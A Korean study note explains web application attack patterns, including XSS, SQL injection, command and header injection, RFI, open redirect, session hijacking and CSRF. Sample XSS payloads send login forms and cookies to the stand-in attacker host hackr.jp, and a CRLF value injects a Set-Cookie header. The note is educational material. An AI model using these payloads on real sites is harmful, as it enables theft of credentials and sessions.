HTTP 자체는 보안 상의 문제가 일어날 정도로 복잡한 프로토콜이 아니여서 공격 대상이 되는 경우는 드물다
-> 보통 HTTP를 사용하는 서버와 클라이언트, 그리고 서버 상에서 동작하는 웹 애플리케이션 등의 리소스
현재의 웹 사이트 대부분은 인증이나 세션 관리, 암호화 등의 보안 기능이 필요하지만 이들은 HTTP에 없음
-> HTTP는 구조가 단순한 프로토콜이라 장점도 많이 있지만, 보안에 관해서는 나쁜 면도 존재
원격 접속을 사용하는 SSH라는 프로토콜과 다르게, HTTP 사용 시 웹 어플리케이션에서 인증이나 세션 관리 기능을 개발자가 설계하고 구현할 필요가 있음
HTTP 리퀘스트의 내용은 모든 클라이언트에서 자유롭게 변경하고 변조가능
-> 웹에 대한 공격은 HTTP 리퀘스트 메세지에 공격 코드를 실어서 실행 됨
-> 쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내져 웹 애플리케이션에 취약성이 있을 경우에는 정보를 도둑맞거나 권한을 뻇기는 일이 발생
웹 애플리케이션에 대한 공격 패턴
-
능동적 공격(Active Attack)
공격자가 직접 웹 애플리케이션에 엑세스해서 공격 코드를 보내는 타입의 공격
-> 이 타입의 공격은 서버 상의 리소스에 대해 직접 실행되기 때문에 공격자가 리소스에 엑세스할 필요가 없음
대표적으로 SQL Injection과, OS Command Injection 등이 있따 -
수동적 공격(passive attack)
함정을 이용해서 유저에게 공격 코드를 실행 시키는 공격(공격자가 직접 웹 애플리케이션에 접근 X)
사용자가 함정에 걸리면 유저의 브라우저나 메일 클라이언트에서 함정을 열게 되고, 장착된 공격 코드를 포함한 HTTP 리퀘스트를 공격 대상인 웹 애플리케이션에 송신하고 공격 코드를 실행
-> 공격 코드 실행 시 유저가 가지고 있는 쿠키 등의 기밀 정보를 도둑맞거나, 로그인 권한이 악용되는 등의 피해 발생
대표적으로XSS(cross-site scripting),CSRF(Cross site request forgery)등이 있음
수동적 공격 사용시에는 인트라넷 같이 인터넷에서 직접 엑세스 할 수 없는 네트워크를 공격할 수 있음
-> 함정에 걸린 유저가 엑세스할 수 있는 인트라넷의 경우
출력 값의 이스케이프 미비로 인한 취약성
웹 애플리케이션의 보안 대책을 실시하는 장소
- 클라이언트에서 체크
- 웹 애플리케이션(서버 측)에서 체크
클라이언트 측에서의 체크는 대부분 javascript 사용
-> 변조나 무효화될 가능성이 있기 때문에 근본적인 보안 대책으로는 적합 X
-> 입력 실수를 바로 지적해 주는 정도
웹 애플리케이션에서의 체크 이후 HTTP 리스폰스,DB 엑세스, 파일 엑세스등의 작업 진행
-> 웹 애플리케이션 측에서의 체크는 입력, 처리, 출력 체크 으로 나뉘는데 입력 값 체크는 단순하게 시스템 요건대로 된 값인지 아닌지에 따라 체크(근본적인 보안 대책은 X)
-> 웹 애플리케이션에서 처리한 데이터를 DB나, 파일 시스템, HTML, 메일 등에 출력할 때 출력할 곳에 따라 값을 이스케이프 처리하는 출력값의 이스케이프가 보안 대책으로 중요
크로스 사이트 스크립팅(XSS)
취약성이 있는 웹 사이트를 방문한 사용자의 브라우저에서 부정한 HTML 태그나, JavaScript 등을 동작시키는 동작
-> 동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있음
-> 공격자가 작성한 스크립트가 함정이 되고 유저의 브라우저 상에서 움직이는 수동적인 공격
예를 들어
http://example.jp/login?ID=yama위 사이트는 URL의 쿼리에 ID를 지정함으로써 폼내에 문자열을 보완하는 기능이 있음
-> 여기에 취약성이 있다고 파악한 공격자는 함정을 작성한 후 메일이나, 함정을 설치한 웹 페이지를 준비해서 유저가 URL을 클릭하도록 유도
http://example.jp/login?ID="><script>var+f=document=>
.getElementById("login");+f.action = "http://hackr.jp/pwget";+f.method= =>"get";</script><span+s="사용자가 URL을 열어도 보기에는 변함이 없지만 설치한 스크립트가 동작하고 있어 유저가 폼에 ID와 패스워드를 입력하면 공격자의 사이트인 hackr.jp로 송신되어 뺴앗김
위와 같이 폼에 함정을 설치하는 것 외에도 아래와 같이 스크립트를 추가하여 유저의 쿠키를 뺏을수도 있음
<script src = http://hackr.jp/xss.js></script>SQL Injection
웹 애플리케이션을 이용하고 있는 DB에 SQL을 부정하게 실행하는 공격
-> 대부분의 웹 애플리케이션은 DB를 이용하고 있고 테이블 내의 데이터 검색 및 추가, 삭제와 같은 처리가 발생할 경우 SQL을 사용해 DB에 엑세스
SQL Injection에 의해 데이터 베이스내 데이터 부정 열람이나 변조, 인증 회피, DB 서버를 경유한 프로그램 실행이 될 수 있음
SQL Injection은 공격자에 의해 개발자가 의도하지 않은 형태로 SQL 문장이 변경되어 구조가 파괴되는 공격
OS Command Injection
OS 커멘드 인잭션이란 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격으로 쉘을 호출하는 함수가 있는 곳에서 발생할 가능성이 있음
웹 애플리케이션에서는 OS에서 사용되는 커맨드를 쉘을 경유해서 실행할 수 있음
-> 쉘의 호출 방법에 취약한 부분이 있다면 잘못된 OS 커맨드가 삽입되어 실행되어 버리는 경우가 있음
OS Command Injection은 Windows와 Linux 등의 커맨드 라인에서 프로그램을 기동하는 쉘에 대해 커맨드를 보낼수 있음
HTTP Header Injection
공격자가 리스폰스 헤더 필드에 개행 문자 등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적인 공격
예를들어
Location:http://example.com/?cat=101위 location 헤더 필드 내에 값이 반영되어 카테고리 선택시 리다이렉 되는 상황이라 가정
-> 공격자는 카테고리 ID를 아래와 같이 고쳐서 리퀘스트를 보냄
101%0D0ASet-Cookie:+SID=123456789%0D%0A는 HTTP 메세지의 개행 문자를 의미
HTTP 헤더 인젝션을 활용한 HTTP 리퀘스트 분할 공격은 개행 문자 두개를 나란히 보내 HTTP 헤더와 바디를 나누는 행을 만들고 가짜 바디를 표시하는 공격
Mail Header Injection
웹 애플리케이션의 메일 송신 기능에 공격자가 임의의 To 및 Subject 등의 메일 헤더를 부정하게 추가하는 공격
리모트 파일 인클루션
Remote File Inclusion은 스크립트의 일부를 다른 파일에서 읽어올 때, 공격자가 지정한 외부 서버의 URL을 파일에서 읽게 함으로써 임의의 스크립트를 동작시키는 공격
주로 PHP의 include와 require 설정에 따라 외부 서버의 URL을 파일명으로 지정할 수 있는 기능
강제 브라우징
웹 서버의 공개 디렉토리에 있는 파일 중, 공개 의도가 없는 파일이 열람되게 되는 취약성
오픈 리다이렉트
지정한 임의의 URL로 리다이렉트 하는 기능으로, 리다이렉트 되는 곳의 URL에 악의가 있는 웹 사이트가 지정된 경우 유저가 그 웹 사이트로 유도되는 취약성과 연결
세션 하이잭
공격자가 어떠한 방법으로 유저의 세션 ID를 입수해서 악용하는 것으로 , 유저로 위장하는 것
위 처럼 상대의 세션 ID를 뺏는 공격이 세션 하이잭이라면, 세션 픽세이션은 공격자가 지정한 세션ID를 유저에게 강제적으로 사용하게 하는 수동적 공격
CSRF
인증된 유저가 의도하지 않는 개인 정보나 설정 정보 등을 공격자가 설치해 둔 함정에 의해 어떤 상태를 갱신하는 처리를 강제로 실행하는 공격으로 수동적 공격
